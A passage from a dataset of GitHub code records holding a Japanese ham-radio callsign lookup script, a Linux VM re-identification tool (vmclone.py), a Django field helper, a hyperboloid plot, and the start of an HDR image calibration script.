(J[A-S][0-9][A-Z]+?|[7-8][A-Z]+?) '\n\n'''コンテストの結果ページからコールサインを抜き出す（末尾に半角スペースあり）'''\ndef read_callsign_resultpage(url):\n    res = requests.get(url)\n    callsign_list = re.findall(cs_re,res.text)\n    return callsign_list\n\n'''過去の ctestwin.pck からコールサインを抜き出す（末尾に半角スペースあり）'''\ndef read_callsign_pckfile(pck_filename):\n    pckfile = open(pck_filename, 'r')\n    pckstr = pckfile.read()\n    pckfile.close()\n    callsign_list_pck = re.findall(cs_re,pckstr)\n    return callsign_list_pck\n\n'''コンテストの参加局で過去のデータベースに登録のない局を抜き出す'''\ndef pickup_new_cs(test_cs, pck_cs):\n    new_cs = []\n    for cs in test_cs:\n        if (cs in pck_cs) == False :\n            new_cs.append(cs)\n    return new_cs\n\n'''リストをダンプして保存'''\ndef dump_list(the_list, filename):\n    f = open(filename, 'w')\n    for x in the_list:\n        f.write(str(x) + \"\\n\")\n    f.close()\n\n''' コールサインを総務省の無線局等情報検索Web-APIで検索 '''\n''' 応答結果から無線局の設置場所取得して市町村名を返す '''\n''' get_qth.py から移植'''\n# res_txt = {\"musen\":[{\"listInfo\":{\"name\":\"＊＊＊＊＊（7M4MON）\",\"radioStationPurpose\":\"アマチュア業務用\",\"tdfkCd\":\"東京都中央区\",\"no\":\"1\",\"licenseDate\":\"2018-04-02\"}}],\"musenInformation\":{\"totalCount\":\"1\",\"lastUpdateDate\":\"2020-08-02\"}}\ndef get_city(callsign):\n    response = requests.get('https://www.tele.soumu.go.jp/musen/list?ST=1&OF=2&OW=AT&DA=0&DC=1&SC=1&MA=' + callsign)\n    city = \"\"\n    if response.status_code == 200:\n        res_txt =response.text    # レスポンスのHTMLを文字列で取得\n        if 'tdfkCd' in res_txt:   # 存在（廃局）チェック\n            d = json.loads(res_txt)                     # Json形式の文字列をdictにパース\n            city = d['musen'][0]['listInfo']['tdfkCd']  # tdfkCd キーの中身を取得 \n            print(city)\n        else :\n            pass    #コールサインがデータベースにない\n    else:\n        pass        #サーバー応答なし\n    return city\n\n\n'''市町村名から市郡コードを返す'''\n'''get_cgnum.py から移植'''\ncgnum_list = [] # 町村郡名とコードの対照表を保持しておくリスト\n# 北海道のダブリ郡の例外処理。コードが後の郡の町名だったらコードを直す。\nhokkaido_dupe_code = ['01006','01014','01022','01042','01045','01050','01073']  # 先にあるコードのリスト\nabuta_iburi = ['豊浦町','洞爺湖町']\nuryu_kamikawa = ['幌加内町']    #例外中の例外\nkamikawa_kamikawa = ['鷹栖町','東神楽町','当麻町','比布町','愛別町','上川町','東川町','美瑛町','和寒町','剣淵町','下川町']\nsorachi_kamikawa = ['上富良野町','中富良野町','南富良野町']\nteshio_souya = ['豊富町','幌延町']\nnakagawa_tokachi = ['幕別町','池田町','豊頃町','本別町']\nyuufutsu_kamikawa = ['占冠村']\nhokkaido_dupe_towns = [abuta_iburi, uryu_kamikawa,kamikawa_kamikawa,sorachi_kamikawa,teshio_souya,nakagawa_tokachi,yuufutsu_kamikawa]\nhokkaido_dupe_county = ['北海道虻田郡(胆振)','北海道雨竜郡(上川)','北海道上川郡(上川)','北海道空知郡(上川)','北海道天塩郡(宗谷)','北海道中川郡(十勝)','北海道勇払郡(上川)']\n\ndef get_cgnum(city_name):\n    # 町村名は不要なので〇〇郡までを抜き出す。\n    if '郡' in city_name:   # 愛知県蒲郡市, 福岡県小郡市, 奈良県大和郡山市, 福島県郡山市も含まれてしまうが削っても被らないので問題なし\n        full_city_name = city_name  #バックアップ\n        city_name = full_city_name[0:city_name.find('郡') + 1]  # 前方から検索\n        town_name = full_city_name[city_name.find('郡') + 1:]  \n        print (town_name)\n\n    cgnum_str = \"\"\n    list_hit = False\n\n    # 郡市区名を探す\n    for cg_item in cgnum_list:\n        if city_name in cg_item[1]:\n            list_hit = True\n            break\n\n    if list_hit == True:    # （表記ゆれや合併などで名前が変わってなければ）必ずあるはず\n        cgnum_str = cg_item[0]\n        country_name = cg_item[1]\n        '''北海道のダブリ郡を処理する'''\n        if cgnum_str in hokkaido_dupe_code :\n            print('dupe code:' + country_name)\n            dupe_index = hokkaido_dupe_code.index(cgnum_str)\n            if town_name in hokkaido_dupe_towns[dupe_index] :   #例外の町がある\n                country_name = hokkaido_dupe_county[dupe_index]\n                print('北海道の例外')\n                if dupe_index == 1 : # 例外中の例外 北海道雨竜郡(上川)幌加内町\n                    cgnum_str = '01081'\n                    print ('中の例外 北海道雨竜郡(上川)幌加内町')\n                else: \n                    cgnum_str = str(int(cgnum_str) + 1).zfill(5) # 幌加内町以外は＋１すれば良い\n    else:   #not in list\n        pass\n\n    print(cgnum_str + '\\n')\n    return cgnum_str\n    \n\n'''処理開始時に市郡コードを cgnum_list[] にロードしておく'''\ndef load_cgnum_list():\n    with open(read_acag_filename,'r',encoding=\"SHIFT-JIS\") as f_in:\n        reader = csv.reader(f_in)\n        for row in reader:\n            cgnum_list.append(row)\n            \n\n'''メインの処理'''\nif __name__ == '__main__':\n    start_date = datetime.datetime.now()\n    cs_list = read_callsign_resultpage(contest_result_url)\n    cs_list.sort()\n    print(\"対象局数: \" + str(len(cs_list)))\n    cs_list_pck = read_callsign_pckfile(read_pck_filename)\n    print(\"既登録局数: \" + str(len(cs_list_pck)))\n    cs_new = pickup_new_cs(cs_list, cs_list_pck)\n    print(\"新規局数: \" + str(len(cs_new)))\n    dump_list(cs_new, new_callsign_filename)\n    cs_list.extend(cs_list_pck)\n    dup = [x for x in set(cs_list) if cs_list.count(x) > 1]\n    print(\"重複局数: \" + str(len(dup)))\n    uniq_cs_list = list(set(cs_list))       #重複を削除\n    uniq_cs_list.sort()\n    print(\"実行件数: \" + str(len(uniq_cs_list)))\n    fw = open(write_pck_filename, 'a')\n    load_cgnum_list()\n    i = 0\n    qrt = 0\n    no_cgnum = 0\n    for cs in uniq_cs_list:\n        if pass_idx > i:\n            i += 1\n            pass\n        else :\n            callsign = cs.strip()   #改行やスペースの削除\n            print(str(i) + \" \" + callsign)\n            city_name = get_city(callsign)\n            if city_name != \"\" :\n                cgnum_str = get_cgnum(city_name)\n                print(callsign + ' ' + cgnum_str + ' '+ city_name , file=fw)\n                if cgnum_str == \"\" :\n                    no_cgnum += 1   #表記ゆれや合併などで市町村名が変わっている\n            else:\n                qrt += 1            #廃局などでコールサインが総務省のデータベースにない\n            time.sleep(wait_sec)    #総務省のデータベースに過負荷をかけないようにちょっと待つ\n            i += 1\n    print('IDX:' + str(i) + ' QRT:' + str(qrt) + ' NIL:'+ str(no_cgnum) , file=fw)    #最後に結果を追記\n    fw.close()\n    stop_date = datetime.datetime.now()\n    print('処理時間: '+ str(stop_date - start_date ))\n","repo_name":"7m4mon/ctestwin.pck","sub_path":"update_ctestwin_pck.py","file_name":"update_ctestwin_pck.py","file_ext":"py","file_size_in_byte":11039,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"6111360576","text":"#!/usr/bin/env python\n\"\"\"\nvmclone.py\n----------\nRe-Identify a cloned Linux Virtual Machine (Hostname & Networking)\n\nSee README.md for usage and more information\n\"\"\"\n__author__ = 'Blayne Campbell'\n__date__ = '2014-01-29'\n__version__ = '1.2.0'\n\nfrom time import sleep\nimport subprocess\nimport datetime\nimport shutil\nimport json\nimport glob\nimport sys\nimport os\nimport re\n\ndate = str(datetime.datetime.now().strftime('%Y-%m-%d'))\n\n# Set Working Directory\nabspath = os.path.abspath(__file__)\nscript_path = os.path.dirname(abspath)\nos.chdir(script_path)\ntry:\n    from subprocess import DEVNULL  # py3k\nexcept ImportError:\n    DEVNULL = open(os.devnull, 'wb')\n\n# Import Settings #\ntry:\n    from settings import *\nexcept ImportError:\n    sys.exit(\"Unable to import settings..\\n\"\n             \"Try re-naming example-settings.py to settings.py\")\n\n\n# Validations #\nvalip = '\\\\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.)' \\\n        '{3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\\\b'\nvalmac = '\\\\b([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2})\\\\b'\nvalproto = '\\\\b((?i)dhcp|(?i)none)\\\\b'\nvaltabs = '\\\\b(\\\\t+)\\\\b'\nvalyesno = '\\\\b((?i)yes|(?i)no)\\\\b'\n# Validations End #\n\n# Minimal Mode - Skip all dependency checks\nminimal_mode = 0\n\n\ndef dependency_check():\n    \"\"\"\n    Dependency check for required utilities\n    \"\"\"\n    # List of applications required by script #\n    all_dependencies = ['nc', 'ntp', 'ntpdate']\n    missing_dependencies = []\n    for dependency in all_dependencies:\n        d = subprocess.Popen(['which', '%s' % dependency], stderr=DEVNULL)\n        if d.wait() != 0:\n            missing_dependencies.append(dependency)\n    if len(missing_dependencies) >= 1:\n        print('The following dependencies are not installed: %s'\n              % \" \".join(str(x) for x in missing_dependencies))\n        dep_prompt = raw_input(\"Would you like to install these now?[y/N]\")\n        if dep_prompt.lower() == 'y':\n            for dependency in missing_dependencies:\n                d = subprocess.Popen(['yum', 'install', '%s' % dependency])\n                if d.wait() != 0:\n                    sys.exit(\"Problem while installing dependency: %s\"\n                             % dependency)\n        else:\n            sys.exit('You chose not to install dependencies.. Exiting.')\n    return True\n\n\ndef get_release():\n    release = subprocess.Popen(['cat', '/etc/redhat-release'],\n                               stdout=subprocess.PIPE)\n    release = release.stdout.read()\n    release_number = re.match(r'^.*release\\s(\\d{1,2}).*$', release)\n    if release_number:\n        return release_number.group(1)\n    else:\n        return False\n\n\ndef get_interfaces():\n    \"\"\" Return interface(s) reporting a permanent address via ethtool utility.\n    :return: dict = {'interface': {'perm_address': '00:00:00:00:00:00'}\n    \"\"\"\n    procnetdev = subprocess.Popen(['cat', '/proc/net/dev'],\n                                  stdout=subprocess.PIPE).stdout.readlines()\n    interface_list = []\n    physical_interfaces = {}\n    for i in procnetdev:\n        iface = re.match(r'^(.*):.*$', i)\n        if iface:\n            interface_found = iface.group(1).strip()\n            if interface_found != 'lo':\n                interface_list.append(interface_found)\n    for interface in interface_list:\n        perm_addr = subprocess.Popen(['ethtool', '-P', interface],\n                                     stdout=subprocess.PIPE,\n                                     stderr=DEVNULL).stdout.readlines()\n        if not perm_addr:\n            continue\n        mac = re.match(r'^Permanent\\saddress:\\s(.*)$', perm_addr[0])\n        if mac:\n            if mac.group(1) != '00:00:00:00:00:00':\n                physical_interfaces[interface] = {'perm_address': mac.group(1)}\n    return physical_interfaces\n\n\ndef show_usage():\n    \"\"\"\n    Show script usage\n    \"\"\"\n    print(\"\\nUsage:\\nclone: Re-identify this server (write networking files)\")\n    print(\"check: Show available Name servers and NTP servers\\n\")\n    sys.exit('Try: %s <check|clone>\\n' % sys.argv[0])\n\n\ndef current_hostname(lookup):\n    \"\"\"\n    Find current hostname of system via /etc/sysconfig/network\n    \"\"\"\n    cur = open(network)\n    cur = cur.readlines()\n    for i in cur:\n        if lookup in i:\n            host = i.split('=')[1]\n            return host\n\n\ndef current_mac(cfgfile):\n    \"\"\"\n    Find current MAC address in given interface configuration\n    :param cfgfile: interface configuration\n    :return: Current MAC address\n    \"\"\"\n    cur = open(cfgfile)\n    cur = cur.readlines()\n    for i in cur:\n        if 'HWADDR' in i:\n            return i.strip()[7:]\n\n\ndef backup_file(cfgfile):\n    \"\"\"\n    Creates Backup of configuration file\n    :param cfgfile: configuration file\n    :return: creates backup if backup not already exists\n    \"\"\"\n    backup_dir = script_path + '/cfg_backups/%s' % date\n    if not os.path.exists(backup_dir):\n        os.makedirs(backup_dir)\n    p, f = os.path.split(cfgfile)\n    if os.path.isfile(\"%s%s\" % (backup_dir, f)):\n        pass\n    else:\n        if os.path.isfile(cfgfile):\n            shutil.copy(cfgfile, backup_dir)\n        else:\n            print(\"Unable to backup %s. File does not exist.\" % cfgfile)\n\n\ndef findmac(iface):\n    \"\"\"\n    Return permanent MAC address for interface\n    \"\"\"\n    interfaces = get_interfaces()\n    return interfaces[iface]['perm_address']\n\n\ndef valid_ip(ip):\n    \"\"\"\n    Validate IP Addresses\n    \"\"\"\n    valid = re.match(valip, ip)\n    if valid:\n        return True\n    else:\n        print(\"Invalid IP address...\")\n\n\ndef replace(cfgfile, pattern, subst):\n    \"\"\"\n    Matches a pattern in a file and replaces with provided substitution.\n    \"\"\"\n    with open(cfgfile, 'r') as filein:\n        filecont = filein.read()\n    if re.search(pattern, filecont):\n        filecont = (re.sub(pattern, subst, filecont))\n        with open(cfgfile, 'w') as fileout:\n            fileout.write(filecont)\n    else:\n        with open(cfgfile, 'a') as fileout:\n            fileout.write('\\n' + subst)\n\n\ndef gen_interface(cfgfile, iface):\n    \"\"\"\n    Re-Generate ifcfg-eth<x> file with temporary network information\n    :param cfgfile: full path to interface configuration\n    :param iface: interface name (ie: eth0)\n    :return:\n    \"\"\"\n    newuuid = subprocess.Popen('uuidgen', stdout=subprocess.PIPE)\n    newuuid = newuuid.stdout.readlines()[0].strip()\n    print(\"Generating interface %s..\" % iface)\n    with open(cfgfile, 'w') as f:\n        f.write('# This file was generated by vmclone.py on %s\\n'\n                % datetime.datetime.now())\n        f.write('DEVICE=%s\\n' % iface)\n        f.write('HWADDR=%s\\n' % findmac(iface))\n        f.write('IPADDR=123.123.123.123\\n')\n        f.write('NETMASK=255.255.255.0\\n')\n        f.write('GATEWAY=123.123.123.123\\n')\n        f.write('BOOTPROTO=none\\n')\n        f.write('ONBOOT=yes\\n')\n        f.write('UUID=%s\\n' % newuuid)\n        f.write('NM_CONTROLLED=no\\n')\n\n\ndef get_nameservers(write=None):\n    \"\"\"\n    Display responsive nameservers outlined in the settings file\n    :param write: Writes nameservers to resolv.conf\n    :return: Nameservers found as reachable\n    \"\"\"\n    print(\"\\nChecking for available Name Servers..\\n\"\n          \"The following servers are reachable:\\n\")\n    if write:\n        with open(resolvconf, 'r') as f:\n            lines = f.readlines()\n        with open(resolvconf, 'w') as f:\n            for line in lines:\n                if \"nameserver\" in line:\n                    pass\n                else:\n                    f.write(line)\n    for ns in nameservers:\n        if valid_ip(ns):\n            r = subprocess.Popen(['nc', '-v', '-z', '%s' % ns, '53'],\n                                 stdout=subprocess.PIPE,\n                                 stderr=subprocess.STDOUT)\n            if r.wait() == 0:\n                print('nameserver %s' % ns)\n                if write:\n                    with open(resolvconf, 'a') as f:\n                        f.write('\\nnameserver %s' % ns)\n    if write:\n        print(\"The above servers have been written to %s\" % resolvconf)\n\n\ndef get_ntpservers():\n    \"\"\"\n    Display responsive NTP servers outlined in the settings file\n    :return: NTP servers found as reachable\n    \"\"\"\n    print(\"\\nChecking for available NTP Servers..\\n\"\n          \"The following servers are reachable:\\n\")\n    for ntp in ntpservers:\n        r = subprocess.Popen(['ntpdate', '-u', '%s' % ntp],\n                             stdout=subprocess.PIPE,\n                             stderr=subprocess.STDOUT)\n        if r.wait() == 0:\n            print('server %s' % ntp)\n\n\ndef clean_shutdown(option):\n    \"\"\"\n    Removes udev net rules and ssh host files that are automatically generated\n    on boot.\n    This ensures that any new servers cloned from this 'template' will\n    have unique MAC addresses and ssh host keys.\n    \"\"\"\n    if int(get_release()) <= 6:\n        if os.path.isfile(persistent):\n            print(\"deleting %s\" % persistent)\n            os.remove(persistent)\n    for sshfile in glob.glob('/etc/ssh/ssh_host_*'):\n        if os.path.isfile(sshfile):\n            print(\"deleting %s\" % sshfile)\n            os.remove(sshfile)\n    for i_cfg in glob.glob('%s/ifcfg-*' % ifcfg_path):\n        if re.match(r'^.*ifcfg-lo$', i_cfg):\n            continue\n        else:\n            backup_file(i_cfg)\n            os.remove(i_cfg)\n    sleep(2)\n    if option == 'halt':\n        command = \"/sbin/shutdown -h now\"\n    else:\n        command = \"/sbin/shutdown -r now\"\n    subprocess.Popen(command.split())\n\n\nclass ServerClone:\n    \"\"\"\n    Main Configuration Object\n    \"\"\"\n    def __init__(self, mode=0):\n        self.runmode = mode\n        self.old_serv = current_hostname('HOSTNAME')\n        self.new_serv = None\n        self.interfaces = dict()\n        self.oldip = 'IPADDR=%s' % valip\n        self.oldnm = 'NETMASK=%s' % valip\n        self.oldgw = 'GATEWAY=%s' % valip\n        self.oldmac = 'HWADDR=%s' % valmac\n        self.proto_dhcp = 'BOOTPROTO=%s' % valproto\n        self.proto_stat = 'BOOTPROTO=none'\n        self.ip = None\n        self.nm = None\n        self.gw = None\n        self.new_ip = None\n        self.new_nm = None\n        self.new_gw = None\n        self.ntppos = None\n\n    def set_hostname(self):\n        \"\"\"\n        Prompt for new hostname\n        :return: Set object hostname\n        \"\"\"\n        while not self.new_serv:\n            self.new_serv = raw_input('Enter NEW Server Name: ')\n\n    def set_ntpservers(self):\n        \"\"\"\n        Tests NTP servers outlined in settings and writes accessible servers\n        to /etc/ntp.conf\n        :return:\n        \"\"\"\n        if not os.path.exists(ntpconf):\n            sys.exit(\"Unable to open %s\" % ntpconf)\n        print(\"\\nChecking for available NTP Servers..\\n\"\n              \"The following servers are reachable:\\n\")\n        with open(ntpconf, 'r') as f:\n            lines = f.readlines()\n            self.ntppos = [i for i, item in enumerate(lines)\n                           if re.search(r'\\bserver\\b', item)]\n        with open(ntpconf, 'w') as f:\n            for line in lines:\n                if \"server\" in line:\n                    pass\n                else:\n                    f.write(line)\n        accessible = []\n        for ntp in ntpservers:\n            r = subprocess.Popen(['ntpdate', '-u', '%s' % ntp],\n                                 stdout=subprocess.PIPE,\n                                 stderr=subprocess.STDOUT)\n            if r.wait() == 0:\n                accessible.append(ntp)\n                print('server %s' % ntp)\n        if accessible:\n            if self.ntppos:\n                with open(ntpconf, 'r') as f:\n                    lines = f.readlines()\n                for i, a in enumerate(accessible):\n                    if i == 0:\n                        newline = '\\nserver %s\\n' % a\n                        lines.insert(self.ntppos[0], newline)\n                    else:\n                        newline = '\\nserver %s' % a\n                        lines.insert(self.ntppos[0], newline)\n                with open(ntpconf, 'w') as out:\n                    out.writelines(lines)\n            else:\n                with open(ntpconf, 'a') as out:\n                    for i, a in enumerate(accessible):\n                        newline = '\\nserver %s' % a\n                        out.write(newline)\n            print(\"The above servers have been written to %s\" % ntpconf)\n        else:\n            print(\"Warning:\\n\"\n                  \"All servers specified by settings are inaccessible.\")\n\n    def show_settings(self):\n        \"\"\"\n        Show proposed object configuration\n        :return:\n        \"\"\"\n        os.system('clear')\n        print(\"Proposed Network Configuration:\")\n        print(\"Hostname: %s\\n\" % clone.new_serv)\n        for i in sorted(self.interfaces):\n            print('Interface %s\\n' % i)\n            print(\"IP: %s\\nNetmask: %s\\nGateway: %s\\n\"\n                  % (self.interfaces[i]['ip'],\n                     self.interfaces[i]['nm'],\n                     self.interfaces[i]['gw']))\n\n    def confirm_settings(self):\n        \"\"\"\n        Prompts to confirm settings before writing configuration files\n        :return:\n        \"\"\"\n        applyconf = raw_input(\"Would you like apply the above \"\n                              \"configuration?[y/N]\")\n        if 'y' in applyconf:\n            self.commit_settings()\n        else:\n            print(\"\\nOK.. No changes have been made to this system.\\n\"\n                  \"The configuration you have entered will be saved.\")\n            sys.exit()\n\n    def commit_settings(self):\n        \"\"\"\n        Write configuration files\n        \"\"\"\n        try:\n            for i in sorted(self.interfaces):\n                cfg_file = ifcfg_path + '/ifcfg-%s' % i\n                backup_file(cfg_file)\n                gen_interface(cfg_file, i)\n                replace(cfg_file, self.oldip, 'IPADDR=%s'\n                        % self.interfaces[i]['ip'])\n                replace(cfg_file, self.oldnm, 'NETMASK=%s'\n                        % self.interfaces[i]['nm'])\n                replace(cfg_file, self.oldgw, 'GATEWAY=%s'\n                        % self.interfaces[i]['gw'])\n                replace(cfg_file, self.oldmac, 'HWADDR=%s' % findmac(i))\n                replace(cfg_file, self.proto_dhcp, self.proto_stat)\n                print('Interface %s configured..' % i)\n                sleep(1)\n            if self.old_serv:\n                backup_file(network)\n                replace(network, self.old_serv, self.new_serv)\n            # Hosts strings\n            host_pattern = '%s%s%s %s.%s\\n' % (valip, valtabs, self.old_serv,\n                                               self.old_serv, domain)\n            # hostfile replacements\n            backup_file(hosts)\n            for i in sorted(self.interfaces):\n                ip = self.interfaces[i]['ip']\n                host_record = '%s\\t\\t%s %s.%s\\n' % (ip, self.new_serv,\n                                                    self.new_serv, domain)\n                replace(hosts, host_pattern, host_record)\n            print(\"Restarting the network service...\")\n            if get_release() >= '7':\n                subprocess.call(['systemctl', 'restart', 'network.service'])\n            else:\n                subprocess.call('start_udev')\n                subprocess.call(['service', 'network', 'restart'])\n        except Exception as e:\n            sys.exit(e)\n\n\ndef config_interface(preconf, interface):\n    \"\"\"\n    Function for configuring interface IP addresses.\n    :param preconf:\n    :param interface:\n    :return:\n    \"\"\"\n    print('\\nConfiguring Interface: %s' % interface)\n    while True:\n        if preconf == 1:\n            ip = vmconf[interface]['ip']\n            clone.ip = raw_input('Primary IP Address[%s]: ' % ip) or ip\n            if valid_ip(clone.ip):\n                clone.new_ip = 'IPADDR=%s' % clone.ip\n                break\n        else:\n            clone.ip = raw_input('Primary IP Address: ')\n            if valid_ip(clone.ip):\n                clone.new_ip = 'IPADDR=%s' % clone.ip\n                break\n    while True:\n        if preconf == 1:\n            nm = vmconf[interface]['nm']\n            clone.nm = raw_input('Primary Netmask[%s]: ' % nm) or nm\n            if valid_ip(clone.nm):\n                clone.new_nm = 'NETMASK=%s' % clone.nm\n                break\n        else:\n            clone.nm = raw_input('Primary Netmask: ')\n            if valid_ip(clone.nm):\n                clone.new_nm = 'NETMASK=%s' % clone.nm\n                break\n    # Calculate Gateway based on IP & Netmask\n    prcidr = sum([bin(int(x)).count('1') for x in clone.nm.split('.')])\n    if clone.runmode == 0:\n        clone.gw = IPNetwork('%s/%s' % (clone.ip, prcidr))[1].format()\n        while True:\n            clone.gw = raw_input('Primary Gateway IP[%s]: '\n                                 % clone.gw) or clone.gw\n            if valid_ip(clone.gw):\n                clone.new_gw = 'GATEWAY=%s' % clone.gw\n                break\n    else:\n        while True:\n            if preconf == 1:\n                gw = vmconf[interface]['gw']\n                clone.gw = raw_input('Primary Gateway IP[%s]: '\n                                       % gw) or gw\n                if valid_ip(clone.gw):\n                    clone.new_gw = 'GATEWAY=%s' % clone.gw\n                    break\n            else:\n                clone.gw = raw_input('Primary Gateway IP: ')\n                if valid_ip(clone.gw):\n                    clone.new_gw = 'GATEWAY=%s' % clone.gw\n                    break\n    clone.interfaces[interface] = {'ip': clone.ip,\n                                   'nm': clone.nm,\n                                   'gw': clone.gw}\n\n\ndef main(preconf):\n    clone.set_hostname()\n    # while True:\n    for i in sorted(get_interfaces()):\n        config_interface(preconf, i)\n    print(\"\\n\" * 2 + \"Saving configuration..\")\n    sleep(1)\n    with open(script_path + '/vmconf.json', 'w') as j:\n        json.dump(clone.interfaces, j, sort_keys=True,\n                  indent=4, separators=(',', ': '))\n    clone.show_settings()\n    clone.confirm_settings()\n\n\nif __name__ == \"__main__\":\n    try:\n        from netaddr import IPNetwork\n    except ImportError:\n        print('Installing python-netaddr library..')\n        netmod = subprocess.Popen(['yum', 'install', 'python-netaddr', '-y'],\n                                  stdout=DEVNULL, stderr=subprocess.STDOUT)\n        if netmod.wait() == 0:\n            from netaddr import IPNetwork\n        else:\n            minimal_mode = 1\n    os.system(\"clear\")\n    if not os.geteuid() == 0:\n        sys.exit(\"\\nOnly root can run this script\\n\")\n    if len(sys.argv) == 2:\n        if sys.argv[1] == 'check':\n            if minimal_mode == 0:\n                if dependency_check():\n                    get_nameservers()\n                    get_ntpservers()\n            else:\n                raw_input('Unable to perform \\'check\\'\\nPress the \\'any\\' key'\n                          'to exit.')\n                sys.exit()\n        elif sys.argv[1] == 'clone':\n            clone = ServerClone(minimal_mode)\n            try:\n                with open('vmconf.json', 'r') as data:\n                    print(\"Previous Configuration Detected. Loading...\\n\")\n                    vmconf = json.load(data)\n                    main(1)\n            except IOError:\n                main(2)\n            print('\\n\\n' + ('=' * 45))\n            print(\"Would you like to prepare the server for cloning?\\n\"\n                  \"Answering \\'yes\\' will do the following:\\n\"\n                  \"Remove:\\n\"\n                  \"/etc/ssh/ssh_host_*\\n\"\n                  \"/etc/sysconfig/network-scripts/ifcfg-eth*\\n\"\n                  \"udev 70-persistent-net.rules (CentOS 6 Only)\\n\"\n                  \".. followed by a shutdown (halt)\\n\\n\")\n            clean = raw_input(\"Prepare to Clone? [y/N]\")\n            if clean.lower() == 'y':\n                clean_shutdown('halt')\n            else:\n                pass\n        else:\n            show_usage()\n    else:\n        current_interfaces = get_interfaces()\n        print(\"Current detected interfaces:\\n\")\n        for c_interface in sorted(current_interfaces):\n            interface_mac = current_interfaces[c_interface]['perm_address']\n            print(\"%s - %s\" % (c_interface, interface_mac))\n        print('\\n')\n        interface_prompt = raw_input(\"Are the above interfaces correct?[Y/n]\")\n        if interface_prompt.lower() == 'y':\n            show_usage()\n        else:\n            reset_prompt = raw_input(\"Remove udev rules/ssh_host/ifcfg files \"\n                                     \"and reboot?[y/N]\")\n            if reset_prompt.lower() == 'y':\n                clean_shutdown('reboot')\n","repo_name":"bcambl/vmclone","sub_path":"vmclone.py","file_name":"vmclone.py","file_ext":"py","file_size_in_byte":20623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"25190747872","text":"from annoying import fields\n\ntry:\n    from south.modelsinspector import add_introspection_rules\n    SOUTH = True\nexcept ImportError:\n    SOUTH = False\n\nclass DeferAutoSingleRelatedObjectDescriptor(fields.AutoSingleRelatedObjectDescriptor):\n    def __init__(self, defer_fields, related):\n        self.defer_fields = defer_fields\n        super(DeferAutoSingleRelatedObjectDescriptor, self).__init__(related)\n\n    def get_queryset(self, **db_hints):\n        qs = super(DeferAutoSingleRelatedObjectDescriptor, self).get_queryset(**db_hints)\n        return qs.defer(*self.defer_fields)\n\nclass DeferAutoOneToOneField(fields.AutoOneToOneField):\n    def __init__(self, *args, **kwargs):\n        self.defer_fields = list(kwargs.pop(\"defer_fields\", []))\n        super(DeferAutoOneToOneField, self).__init__(*args, **kwargs)\n\n    def contribute_to_related_class(self, cls, related):\n        setattr(cls, related.get_accessor_name(), DeferAutoSingleRelatedObjectDescriptor(self.defer_fields, related))\n\nif SOUTH:\n    add_introspection_rules([\n        (\n            (DeferAutoOneToOneField,),\n            [],\n            {\n                \"to\": [\"rel.to\", {}],\n                \"to_field\": [\"rel.field_name\", {\"default_attr\": \"rel.to._meta.pk.name\"}],\n                \"related_name\": [\"rel.related_name\", {\"default\": None}],\n                \"db_index\": [\"db_index\", {\"default\": True}],\n            },\n        )\n    ],\n    [\"^inboxen\\.fields\\.DeferAutoOneToOneField\"])\n","repo_name":"Inboxen/infrastructure","sub_path":"inboxen/fields.py","file_name":"fields.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"9882928988","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\n\r\nL=np.arange(0,6.0,0.2)\r\nD=np.arange(0,np.pi*2.01,0.1)\r\nX1=np.zeros((len(L),len(D)))\r\nX2=np.zeros((len(L),len(D)))\r\nY=np.zeros((len(L),len(D)))\r\nZ=np.zeros((len(L),len(D)))\r\nfor i in range(len(L)):\r\n    X1[i,:]= 10/2*np.sqrt(1+L[i]**2*4/(12**2-10**2))+6\r\n    X2[i,:]=-10/2*np.sqrt(1+L[i]**2*4/(12**2-10**2))+6\r\n    for j in range(len(D)):\r\n        Y[i,j]=L[i]*np.cos(D[j])\r\n        Z[i,j]=L[i]*np.sin(D[j])\r\n\r\nax=Axes3D(plt.figure(figsize=(11,7)))\r\nax.invert_xaxis()\r\nax.invert_zaxis()\r\n\r\nax.plot_surface(X1,Y,Z,cmap=plt.cm.summer,alpha=0.8)\r\nax.plot_surface(X2,Y,Z,cmap=plt.cm.winter,alpha=0.8)\r\n\r\nax.scatter( 0,0,0,s=120,marker='*',color='orange')\r\nax.scatter(12,0,0,s=120,marker='*',color='orange')\r\nax.text( 0,0,-0.05,'anchor0')\r\nax.text(12,0,-0.05,'anchor1')\r\n\r\nplt.show()","repo_name":"ridolph/tdoa-1","sub_path":"postproc/pso/plotHyperboloid.py","file_name":"plotHyperboloid.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"33480200676","text":"import cv2\nimport os\nimport argparse\nfrom skimage.transform import resize\nimport numpy as np\nfrom tqdm import tqdm\n\ndef calibrate(ldr_img,hdr_img):\n\tldr_img = resize(ldr_img,(480,960),anti_aliasing=True)\n\thdr_img = resize(hdr_img,(480,960),anti_aliasing=True)\n\n\tLDR_I = np.mean(ldr_img,axis=2)\n\tmask = np.where(LDR_I > 0.83, 0, 1)\n\tmean_LDR = np.mean(mask * LDR_I)\n\thdr_img = np.clip(hdr_img,1e-8,1e4)\n\tHDR_I = np.mean(hdr_img, axis=2)\n\tmean_HDR = np.mean(mask * HDR_I)\n\thdr_img_expose = hdr_img * mean_LDR / mean_HDR\n\treturn hdr_img_expose\n\nif __name__ == '__main__':\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('--hdr_dir', type=str, default='')\n\tparser.add_argument('--ldr_dir', type=str, default='')\n\tparser.add_argument('--output_dir', type=str, default='')\n\targs = parser.parse_args()\n\timgs = os.listdir(args.hdr_dir)\n\tos.makedirs(args.output_dir,exist_ok=True)\n\tfor i in tqdm(range(1,11)):\n\t\tldr = cv2.imread(f'{args.ldr_dir}/ldr{i}.jpg')\n\t\thdr = cv2.imread(f'{args.hdr_dir}/hdr{i}.exr',-1)\n\t\thdr_expose = 